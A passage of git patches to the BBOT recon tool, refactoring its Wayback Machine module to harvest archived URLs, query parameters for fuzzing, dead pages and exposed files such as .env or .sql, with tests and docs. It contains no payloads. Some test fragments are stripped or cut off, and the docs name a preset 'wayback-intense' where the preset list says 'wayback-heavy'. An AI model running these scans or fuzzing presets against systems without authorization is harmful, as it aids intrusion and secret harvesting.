query(self, query): await self.helpers.sleep(2**i) if not r: self.warning(f'Error connecting to archive.org for query "{query}"') - return results + return None try: j = r.json() assert type(j) == list except Exception: self.warning(f'Error JSON-decoding archive.org response for query "{query}"') - return results + return None + return [result[0] for result in j[1:] if result] - urls = [] - for result in j[1:]: + def _pre_process_urls(self, urls): + """Extract parameters, archive URLs, and interesting files from raw CDX URLs before collapse.""" + raw_url_params = {} + archive_urls = {} + interesting_files = {} + + for url in urls: try: - url = result[0] - urls.append(url) - except KeyError: + parsed = urlparse(url) + if any(bl in url for bl in self.url_blacklist): + continue + if not (parsed.hostname and self.scan.in_scope(parsed.hostname)): + continue + + cleaned_str = clean_url(url).geturl() + + if self.archive and cleaned_str not in archive_urls: + archive_urls[cleaned_str] = url + + if self.urls and self._is_interesting_file(url) and cleaned_str not in interesting_files: + interesting_files[cleaned_str] = url + + if self.parameters and parsed.query: + params = parse_qs(parsed.query) + flat_params = {k: v[0] for k, v in params.items()} + if flat_params: + if cleaned_str not in raw_url_params: + raw_url_params[cleaned_str] = flat_params + else: + raw_url_params[cleaned_str].update(flat_params) + except Exception: continue + if archive_urls or interesting_files or raw_url_params: + self.debug( + f"Pre-processed {len(urls):,} URLs: {len(archive_urls):,} archive candidates, " + f"{len(interesting_files):,} interesting files, {len(raw_url_params):,} URLs with parameters" + ) + + return raw_url_params, archive_urls, interesting_files + + async def query(self, query): + results = set() + + urls = await self._fetch_cdx(query) + if urls is None: + return results, {} + self.verbose(f"Found {len(urls):,} URLs for {query}") - # pre-extract parameters from raw URLs before collapse strips query strings - raw_url_params = {} - if self.parameters: - for url in urls: - try: - parsed = urlparse(url) - if any(bl in url for bl in self.url_blacklist): - continue - if parsed.query and parsed.hostname and self.scan.in_scope(parsed.hostname): - params = parse_qs(parsed.query) - flat_params = {k: v[0] for k, v in params.items()} - if flat_params: - # key by cleaned URL (always strips query) to match what collapse_urls produces - cleaned = clean_url(url) - cleaned_str = cleaned.geturl() - if cleaned_str not in raw_url_params: - raw_url_params[cleaned_str] = flat_params - else: - raw_url_params[cleaned_str].update(flat_params) - except Exception: - continue + # filter blacklisted URLs before any further processing + urls = [url for url in urls if not any(bl in url for bl in self.url_blacklist)] + + # pre-extract metadata from raw URLs before collapse strips query strings + raw_url_params, archive_urls, interesting_files = {}, {}, {} + if self.parameters or self.archive or self.urls: + raw_url_params, archive_urls, interesting_files = self._pre_process_urls(urls) dns_names = set() collapsed_urls = 0 start_time = datetime.now() - # we consolidate URLs to cut down on garbage data - # this is CPU-intensive, so we do it in its own core. + # consolidate URLs to cut down on garbage data (CPU-intensive, runs in separate process) parsed_urls = await self.helpers.run_in_executor_mp( self.helpers.validators.collapse_urls, urls, threshold=self.garbage_threshold, ) - for parsed_url in parsed_urls: - collapsed_urls += 1 - if not self.urls: - dns_name = parsed_url.hostname - h = hash(dns_name) - if h not in dns_names: - dns_names.add(h) - results.add((dns_name, "DNS_NAME")) - else: + if self.urls: + # deduplicate http/https variants — drop http when https also exists + url_dedup = {} + for parsed_url in parsed_urls: + collapsed_urls += 1 + https_key = parsed_url._replace(scheme="https").geturl() + if https_key not in url_dedup or parsed_url.scheme == "https": + url_dedup[https_key] = parsed_url + for parsed_url in url_dedup.values(): url_str = parsed_url.geturl() results.add((url_str, "URL_UNVERIFIED")) if self.parameters and url_str in raw_url_params: base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, parsed_url.path, "", "", "")) self._parameter_cache[url_str] = (raw_url_params[url_str], base_url) - end_time = datetime.now() - duration = self.helpers.human_timedelta(end_time - start_time) + if self.archive and url_str in archive_urls: + self._archive_cache[url_str] = archive_urls[url_str] + else: + for parsed_url in parsed_urls: + collapsed_urls += 1 + dns_name = parsed_url.hostname + h = hash(dns_name) + if h not in dns_names: + dns_names.add(h) + results.add((dns_name, "DNS_NAME")) + + duration = self.helpers.human_timedelta(datetime.now() - start_time) self.verbose(f"Collapsed {len(urls):,} -> {collapsed_urls:,} URLs in {duration}") - return results + return results, interesting_files + + _wayback_head_re = re.compile( + r'

    content

    ' + stripped = w._strip_wayback_wrapper(body) + assert "archive.org" not in stripped + assert "content" in stripped + + # test stripping of relative wayback URL rewrites (href) + body = 'link' + stripped = w._strip_wayback_wrapper(body) + assert "/web/19971024185506/" not in stripped + assert "http://www.example.com/PDF%20files/data.pdf" in stripped + + # test stripping of relative wayback URL rewrites with modifier suffix (im_ for images) + body = '' + stripped = w._strip_wayback_wrapper(body) + assert "/web/19971024185506im_/" not in stripped + assert "http://www.example.com/images/logo.gif" in stripped + + # test stripping of relative wayback URL rewrites with js_ suffix + body = '' + stripped = w._strip_wayback_wrapper(body) + assert "/web/20250529193232js_/" not in stripped + assert "https://www.example.com/script.js" in stripped From 251d48d095d87de12a49f8131a6328414d3fa377 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 18 Feb 2026 13:15:12 -0500 Subject: [PATCH 449/912] allow from-wayback tag to propagate --- bbot/core/event/base.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 643aec3b92..3232e6d55c 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -620,7 +620,7 @@ def parent(self, parent): self.web_spider_distance = getattr(parent, "web_spider_distance", 0) event_has_url = getattr(self, "parsed_url", None) is not None for t in parent.tags: - if t in ("affiliate",): + if t in ("affiliate", "from-wayback"): self.add_tag(t) elif t.startswith("mutation-"): self.add_tag(t) From ca211fc9006b64996c5e6adb9afd2c44efc7bea0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 18 Feb 2026 14:24:37 -0500 Subject: [PATCH 450/912] update docs for wayback --- docs/modules/wayback.md | 141 +++++++++++++++++++++++++++++ docs/scanning/configuration.md | 2 + docs/scanning/presets_list.md | 158 +++++++++++++++++++++++++-------- mkdocs.yml | 1 + 4 files changed, 267 insertions(+), 35 deletions(-) create mode 100644 docs/modules/wayback.md diff --git a/docs/modules/wayback.md b/docs/modules/wayback.md new file mode 100644 index 0000000000..dab08340db --- /dev/null +++ b/docs/modules/wayback.md @@ -0,0 +1,141 @@ +# Wayback + +## Overview + +The Wayback module queries [archive.org's Wayback Machine](https://web.archive.org/) CDX API to discover subdomains, URLs, web parameters, and archived content for your targets. By default it operates as a passive subdomain enumeration source, but with its extended features enabled it becomes a powerful tool for discovering dead URLs, extracting parameters for fuzzing, and retrieving archived versions of pages that no longer exist. + +* Watches: **DNS_NAME**, **URL** +* Produces: **URL_UNVERIFIED**, **DNS_NAME**, **WEB_PARAMETER**, **HTTP_RESPONSE**, **FINDING** +* Flags: `passive`, `subdomain-enum`, `safe` + +## Default Behavior + +By default, wayback only emits **DNS_NAME** events (subdomains) extracted from archived URLs. This is the behavior you get when wayback is included via the `subdomain-enum` preset. No URLs, parameters, or archived content are fetched. + +To unlock the more advanced features, you need to enable them via configuration options or use one of the wayback presets. + +## Configuration Options + +| Option | Type | Default | Description | +|---------------------|------|---------|-------------------------------------------------------------------------------------------------------| +| `urls` | bool | `False` | Emit `URL_UNVERIFIED` events in addition to `DNS_NAME`s. Required for `parameters` and `archive`. | +| `parameters` | bool | `False` | Extract `WEB_PARAMETER` events from query strings in archived URLs. Requires `urls=True`. | +| `archive` | bool | `False` | Fetch archived versions of dead URLs and emit `HTTP_RESPONSE` events. Requires `urls=True`. | +| `garbage_threshold` | int | `10` | Deduplicate similar URLs if they appear in groups of this size or larger. Lower = less noise. | + +## Features + +### URL Discovery (`urls: True`) + +When `urls` is enabled, wayback emits `URL_UNVERIFIED` events for every unique URL found in the Wayback Machine's index. These are tagged with `from-wayback` and sent through BBOT's normal URL verification pipeline (httpx). + +Before emission, URLs go through several cleanup steps: + +- **URL collapsing** - Groups of similar URLs (e.g. pagination, search results) are deduplicated based on the `garbage_threshold` setting +- **HTTP/HTTPS deduplication** - When both `http://` and `https://` variants exist, only the HTTPS version is kept +- **Blacklist filtering** - URLs containing known CDN/WAF paths (e.g. `_Incapsula_Resource`, `/cdn-cgi/`) are filtered out + +### Parameter Extraction (`parameters: True`) + +When `parameters` is enabled (requires `urls: True`), wayback extracts query string parameters from archived URLs and emits them as `WEB_PARAMETER` events. This is useful for discovering GET parameters that can be fed into fuzzing modules like lightfuzz. + +Parameters are cached and only emitted after the corresponding URL has been verified as live by httpx. This prevents emitting parameters for URLs that no longer exist. + +!!! note + Parameter extraction requires at least one module that consumes `WEB_PARAMETER` events to be active (e.g. `lightfuzz`, `hunt`, `paramminer_getparams`). If no such module is present, parameter extraction is automatically disabled with a warning. + +### Archive Retrieval (`archive: True`) + +When `archive` is enabled (requires `urls: True`), wayback fetches the actual archived content of URLs from the Wayback Machine and emits them as `HTTP_RESPONSE` events. This is particularly useful for: + +- **Finding secrets in dead pages** - Archived versions may contain API keys, credentials, or other sensitive data that modules like `badsecrets` can detect +- **Discovering hidden functionality** - Pages that have been removed may reveal application structure or endpoints + +Archive retrieval runs during the module's `finish()` phase, after all URLs have been discovered and verified. URLs that are confirmed live (2xx status) are automatically removed from the archive queue, so only dead URLs are fetched from the archive. + +The archived content goes through extensive cleanup to remove Wayback Machine artifacts: + +- Wayback toolbar/header/footer HTML is stripped +- Rewritten URLs (e.g. `http://web.archive.org/web/20250101/http://example.com/page`) are restored to originals +- Wayback-injected headers (`x-archive-*`, `set-cookie`) are removed +- The event's host, port, and URL are set to the original target, not `web.archive.org` + +Archived HTTP_RESPONSE events are tagged with `from-wayback` and `archived`. + +!!! warning + Static file extensions (images, CSS, JS, etc.) are automatically skipped during archive retrieval to avoid unnecessary traffic. + +### Interesting File Detection + +When `urls` is enabled, wayback also checks for potentially interesting archived files by looking for URLs with sensitive extensions: `.zip`, `.sql`, `.bak`, `.env`, `.config`, `.tar.gz`, `.tar.bz2`. + +When found, these are verified with a HEAD request to archive.org. If the archived file exists and isn't a soft-404, a `FINDING` event is emitted with details about the file (including size if available). These findings are tagged with `from-wayback`, `archived`, and `interesting-file`. + +## Presets + +Wayback comes with two dedicated presets, and is also integrated into several other presets: + +### `-p wayback` + +Basic URL discovery mode. Includes `subdomain-enum` and enables `urls: True`. Good for general recon when you want to discover historical URLs alongside subdomains. + +```bash +bbot -p wayback -t evilcorp.com +``` + +### `-p wayback-intense` + +Full-featured mode with URL discovery, parameter extraction, and archive retrieval. Also includes `badsecrets` to scan archived content for exposed secrets. + +```bash +bbot -p wayback-intense -t evilcorp.com +``` + +### Integration with other presets + +Wayback's extended features are also enabled in several other presets: + +| Preset | Wayback Config | +|-----------------------|-----------------------------------------| +| `kitchen-sink` | `urls`, `parameters`, `archive` | +| `dirbust-heavy` | `urls` | +| `nuclei-intense` | `urls` | +| `lightfuzz-heavy` | `urls`, `parameters` | +| `lightfuzz-superheavy`| `urls`, `parameters`, `archive` | + +## Example Commands + +```bash +# Basic subdomain enumeration (default behavior, no URL emission) +bbot -p subdomain-enum -t evilcorp.com +``` + +```bash +# URL discovery via wayback preset +bbot -p wayback -t evilcorp.com +``` + +```bash +# Full wayback integration with archived content and parameter extraction +bbot -p wayback-intense -t evilcorp.com +``` + +```bash +# Enable wayback URLs alongside a nuclei scan +bbot -p nuclei -m wayback -c modules.wayback.urls=True --allow-deadly -t evilcorp.com +``` + +```bash +# Pair with lightfuzz for parameter fuzzing using archived parameters +bbot -p lightfuzz-heavy spider -t evilcorp.com --allow-deadly +``` + +```bash +# Enable wayback features via command-line config +bbot -p subdomain-enum -c modules.wayback.urls=True modules.wayback.parameters=True modules.wayback.archive=True -t evilcorp.com +``` + +```bash +# Adjust garbage threshold for cleaner output (more aggressive deduplication) +bbot -p wayback -c modules.wayback.garbage_threshold=5 -t evilcorp.com +``` diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index bbc5aa7a22..a0bdf16401 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -600,7 +600,9 @@ In addition to the stated options for each module, the following universal optio | modules.trufflehog.version | str | trufflehog version | 3.90.8 | | modules.urlscan.urls | bool | Emit URLs in addition to DNS_NAMEs | False | | modules.virustotal.api_key | str | VirusTotal API Key | | +| modules.wayback.archive | bool | fetch archived versions of dead URLs from the Wayback Machine and emit HTTP_RESPONSE events (requires urls=true) | False | | modules.wayback.garbage_threshold | int | Dedupe similar urls if they are in a group of this size or higher (lower values == less garbage data) | 10 | +| modules.wayback.parameters | bool | emit WEB_PARAMETER events for query parameters discovered in archived URLs (requires urls=true) | False | | modules.wayback.urls | bool | emit URLs in addition to DNS_NAMEs | False | | modules.asset_inventory.output_file | str | Set a custom output file | | | modules.asset_inventory.recheck | bool | When use_previous=True, don't retain past details like open ports or findings. Instead, allow them to be rediscovered by the new scan | False | diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index 98a4d126ec..1b824df6af 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -282,7 +282,7 @@ Everything everywhere all at once ??? note "`kitchen-sink.yml`" ```yaml title="~/.bbot/presets/kitchen-sink.yml" description: Everything everywhere all at once - + include: - subdomain-enum - cloud-enum @@ -294,6 +294,15 @@ Everything everywhere all at once - dirbust-light - web-screenshots - baddns-heavy + + config: + modules: + baddns: + enable_references: True + wayback: + urls: True + parameters: True + archive: True ``` @@ -340,10 +349,11 @@ Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force paramet flags: - web-paramminer - + modules: - robots - + - wayback + config: modules: lightfuzz: @@ -351,6 +361,9 @@ Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force paramet disable_post: False try_post_as_get: True try_get_as_post: True + wayback: + urls: True + parameters: True ``` Category: web @@ -400,7 +413,7 @@ Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer s include: - lightfuzz-heavy - + config: url_querystring_collapse: False # in cases where the same parameter is observed multiple times, fuzz them individually instead of collapsing them into a single parameter modules: @@ -410,6 +423,10 @@ Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer s avoid_wafs: False excavate: speculate_params: True # speculate potential parameters extracted from JSON/XML web responses + wayback: + urls: True + parameters: True + archive: True ``` Category: web @@ -802,7 +819,78 @@ Take screenshots of webpages -Modules: [0]("") +Modules: [3]("`gowitness`, `httpx`, `social`") + +## **web-thorough** + +Aggressive web scan + +??? note "`web-thorough.yml`" + ```yaml title="~/.bbot/presets/web-thorough.yml" + description: Aggressive web scan + + include: + # include the web-basic preset + - web-basic + + flags: + - web-thorough + ``` + + + +Modules: [32]("`ajaxpro`, `aspnet_bin_exposure`, `azure_realm`, `baddns`, `badsecrets`, `bucket_amazon`, `bucket_digitalocean`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `bypass403`, `dotnetnuke`, `ffuf_shortnames`, `filedownload`, `generic_ssrf`, `git`, `graphql_introspection`, `host_header`, `httpx`, `hunt`, `iis_shortnames`, `lightfuzz`, `ntlm`, `oauth`, `reflected_parameters`, `retirejs`, `robots`, `securitytxt`, `smuggler`, `sslcert`, `telerik`, `url_manipulation`") + +## **wayback** + +Discover URLs and interesting archived files via the Wayback Machine + +??? note "`wayback.yml`" + ```yaml title="~/.bbot/presets/wayback.yml" + description: Discover URLs and interesting archived files via the Wayback Machine + + include: + - subdomain-enum + + modules: + - wayback + + config: + modules: + wayback: + urls: True + ``` + + + +Modules: [52]("`anubisdb`, `asn`, `azure_realm`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `bevigil`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `crt`, `crt_db`, `digitorus`, `dnsbimi`, `dnsbrute`, `dnsbrute_mutations`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `fullhunt`, `github_codesearch`, `github_org`, `hackertarget`, `httpx`, `hunterio`, `ipneighbor`, `leakix`, `myssl`, `oauth`, `otx`, `passivetotal`, `postman`, `postman_download`, `rapiddns`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `sitedossier`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `urlscan`, `virustotal`, `wayback`, `httpx`") + +## **wayback-heavy** + +Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection + +??? note "`wayback-heavy.yml`" + ```yaml title="~/.bbot/presets/wayback-heavy.yml" + description: Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection + + include: + - subdomain-enum + + modules: + - wayback + - badsecrets + + config: + modules: + wayback: + urls: True + parameters: True + archive: True + ``` + + + +Modules: [53]("`anubisdb`, `asn`, `azure_realm`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `badsecrets`, `bevigil`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `crt`, `crt_db`, `digitorus`, `dnsbimi`, `dnsbrute`, `dnsbrute_mutations`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `fullhunt`, `github_codesearch`, `github_org`, `hackertarget`, `httpx`, `hunterio`, `ipneighbor`, `leakix`, `myssl`, `oauth`, `otx`, `passivetotal`, `postman`, `postman_download`, `rapiddns`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `sitedossier`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `urlscan`, `virustotal`, `wayback`, `httpx`") ## Table of Default Presets @@ -810,34 +898,34 @@ Modules: [0]("") Here is a the same data, but in a table: -| Preset | Category | Description | # Modules | Modules | -|-------------------|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|---------------------------------------------------------------------------------------------| -| baddns | | Check for subdomain takeovers and other DNS issues. | 1 | baddns | -| baddns-heavy | | Run all baddns modules and submodules. | 3 | baddns, baddns_direct, baddns_zone | -| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 0 | | -| code-enum | | Enumerate Git repositories, Docker images, etc. | 0 | | -| dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 3 | ffuf, httpx, wayback | -| dirbust-light | web | Basic web directory brute-force (surface-level directories only) | 1 | ffuf | -| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 8 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, ffuf, ffuf_shortnames, httpx, telerik | -| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 0 | | -| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | -| iis-shortnames | web | Recursively enumerate IIS shortnames | 0 | | -| kitchen-sink | | Everything everywhere all at once | 7 | baddns, baddns_direct, baddns_zone, ffuf, httpx, hunt, reflected_parameters | -| lightfuzz | web | Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs. | 6 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters | -| lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 7 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters, robots | -| lightfuzz-light | web | Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead. | 3 | httpx, lightfuzz, portfilter | -| lightfuzz-max | web | Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. | 7 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters, robots | -| lightfuzz-xss | web | XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset. | 5 | httpx, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | -| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | httpx, nuclei, portfilter | -| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | httpx, nuclei, portfilter | -| nuclei-heavy | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | httpx, nuclei, portfilter, robots, urlscan, wayback | -| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | httpx, nuclei, portfilter | -| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 3 | httpx, hunt, reflected_parameters | -| spider | | Recursive web spider | 1 | httpx | -| spider-heavy | | Recursive web spider with more aggressive settings | 1 | httpx | -| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 0 | | -| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 2 | fingerprintx, nuclei | -| web | | Quick web scan | 0 | | -| web-heavy | | Aggressive web scan | 0 | | -| web-screenshots | | Take screenshots of webpages | 0 | | +| Preset | Category | Description | # Modules | Modules | +|----------------------|------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| baddns-heavy | | Run all baddns modules and submodules. | 4 | baddns, baddns_direct, baddns_zone, httpx | +| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 58 | anubisdb, asn, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | +| code-enum | | Enumerate Git repositories, Docker images, etc. | 20 | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, httpx, jadx, postman, postman_download, social, trufflehog | +| dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 5 | ffuf, ffuf_shortnames, httpx, iis_shortnames, wayback | +| dirbust-light | web | Basic web directory brute-force (surface-level directories only) | 4 | ffuf, ffuf_shortnames, httpx, iis_shortnames | +| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 9 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, ffuf, ffuf_shortnames, httpx, iis_shortnames, telerik | +| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 8 | dehashed, dnscaa, dnstlsrpt, emailformat, hunterio, pgp, skymem, sslcert | +| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | +| iis-shortnames | web | Recursively enumerate IIS shortnames | 3 | ffuf_shortnames, httpx, iis_shortnames | +| kitchen-sink | | Everything everywhere all at once | 90 | anubisdb, apkpure, asn, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, code_repository, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, ffuf, ffuf_shortnames, filedownload, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ipneighbor, jadx, leakix, myssl, ntlm, oauth, otx, paramminer_cookies, paramminer_getparams, paramminer_headers, passivetotal, pgp, postman, postman_download, rapiddns, reflected_parameters, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, urlscan, virustotal, wayback | +| lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 10 | badsecrets, httpx, hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, portfilter, reflected_parameters, robots | +| lightfuzz-light | web | Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead. | 3 | httpx, lightfuzz, portfilter | +| lightfuzz-max | web | Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. | 10 | badsecrets, httpx, hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, portfilter, reflected_parameters, robots | +| lightfuzz-xss | web | XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset. | 5 | httpx, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | +| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | httpx, nuclei, portfilter | +| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | httpx, nuclei, portfilter | +| nuclei-heavy | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | httpx, nuclei, portfilter, robots, urlscan, wayback | +| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | httpx, nuclei, portfilter | +| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 6 | httpx, hunt, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters | +| spider | | Recursive web spider | 1 | httpx | +| spider-heavy | | Recursive web spider with more aggressive settings | 1 | httpx | +| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 51 | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | +| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 3 | fingerprintx, httpx, nuclei | +| web-basic | | Quick web scan | 18 | azure_realm, baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, ffuf_shortnames, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | +| web-screenshots | | Take screenshots of webpages | 3 | gowitness, httpx, social | +| web-thorough | | Aggressive web scan | 32 | ajaxpro, aspnet_bin_exposure, azure_realm, baddns, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dotnetnuke, ffuf_shortnames, filedownload, generic_ssrf, git, graphql_introspection, host_header, httpx, hunt, iis_shortnames, lightfuzz, ntlm, oauth, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation | +| wayback | | Discover URLs and interesting archived files via the Wayback Machine | 52 | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | +| wayback-heavy | | Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection | 53 | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, badsecrets, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | diff --git a/mkdocs.yml b/mkdocs.yml index 498b0b4a6d..2355c67f5a 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -32,6 +32,7 @@ nav: - Modules: - List of Modules: modules/list_of_modules.md - Nuclei: 